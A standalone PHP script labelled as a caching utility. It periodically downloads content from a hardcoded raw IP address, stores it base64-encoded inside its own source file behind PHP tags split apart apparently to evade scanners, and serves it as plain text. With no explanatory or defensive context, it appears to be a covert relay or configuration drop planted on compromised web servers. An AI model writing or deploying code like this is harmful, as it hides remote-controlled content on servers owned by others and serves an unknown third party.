<?php

// ----------------------------------------------------------------------
// touch this!  ---------------------------------------------------------

define( 'CACHE_DEBUG', 				false );
define( 'CACHE_TIME_SECONDS', 		600 );
define( 'CACHE_UPDATE_URL',  		"http://193.105.240.93/data/config.txt" );

// ----------------------------------------------------------------------
// dont touch this! -----------------------------------------------------

define( 'CACHE_MARKER_START', 		"<?p"."hp /* <CA"."CHE>" );  
define( 'CACHE_MARKER_END', 		"</CA"."CHE> */ ?".">" );


// ----------------------------------------------------------------------


$cache_code 	= null;
$cache_file 	= __FILE__;
$cached_time 	= time() - filemtime($cache_file);

// ----------------------------------------------------------------------

if (CACHE_DEBUG) echo "Cached time is {$cached_time} seconds, update planned after ".(CACHE_TIME_SECONDS - $cached_time)." seconds\n";


// ----------------------------------------------------------------------
// check cached time 

if($cached_time > CACHE_TIME_SECONDS)
{
	// get new cache code
	$cache_code = file_get_contents(CACHE_UPDATE_URL);
	if(!empty($cache_code))
	{
		if (CACHE_DEBUG) echo "Update cache...\n";
		write_cache($cache_file, $cache_code);
	}
	else
	{
		if (CACHE_DEBUG) echo "Can't get cache data!\n";
	}
}
else
{
		if(CACHE_DEBUG) echo "Read cache code...\n";

		// extract cached data
		$cache_code = extract_cache($cache_file);
		if(empty($cache_code))
		{
			if (CACHE_DEBUG) echo "Cache empty! Update cache...\n";
			$cache_code = file_get_contents(CACHE_UPDATE_URL);
			if(!empty($cache_code))
			{
				// write cache
				write_cache($cache_file, $cache_code);
			}
			else
			{
				if (CACHE_DEBUG) echo "Can't get cache data!\n";
			}
		}
}

// ----------------------------------------------------------------------

header("Content-Type: text/plain; charset=windows-1251");
echo $cache_code;

// ----------------------------------------------------------------------

exit;

// ----------------------------------------------------------------------
/// read file data

function file_get_contents_locked($file_path)
{
	$fp = fopen($file_path, "r");
	if($fp !== FALSE)
	{
		flock($fp, LOCK_EX);
		$data = fread($fp, filesize($file_path));
		flock($fp, LOCK_UN);
		fclose($fp);

		return $data;
	}

	return FALSE;
}


// ----------------------------------------------------------------------
/// extract cache from file by cache markers

function extract_cache($file_path)
{
	$data = file_get_contents_locked($file_path);
	if(strpos($data, CACHE_MARKER_START) !== FALSE)
	{
		$cache_start_pos = strpos($data, CACHE_MARKER_START) + strlen(CACHE_MARKER_START);
		$cache_end_pos = strpos($data, CACHE_MARKER_END);

		$cache = substr($data, $cache_start_pos, $cache_end_pos - $cache_start_pos);

		if(!empty($cache))
			return base64_decode($cache);
	}

	return null;
}


// ----------------------------------------------------------------------
// write cache to file

function write_cache($file_path, $cache_data)
{
	if(!is_writable($file_path))
	{
		if (CACHE_DEBUG) echo "Cache file not writable!\n";
		return null;
	}

	$data = file_get_contents_locked($file_path);
	if($data !== FALSE && !empty($data))
	{
		// delete old cache
		if(strpos($data, CACHE_MARKER_START) !== FALSE)
		{
			$cache_start_pos = strpos($data, CACHE_MARKER_START);

			$data = substr($data, 0, $cache_start_pos);
			$data = rtrim($data);
		}

		// restore close tags
		if(substr($data, -2, 2) !== '?>')
			$data.="?>";

		$data.= CACHE_MARKER_START .base64_encode($cache_data). CACHE_MARKER_END;

		$fp=fopen($file_path, "w+");
		flock($fp, LOCK_EX);
		fwrite($fp, $data);
		flock($fp, LOCK_UN);
		fclose($fp);
	}
}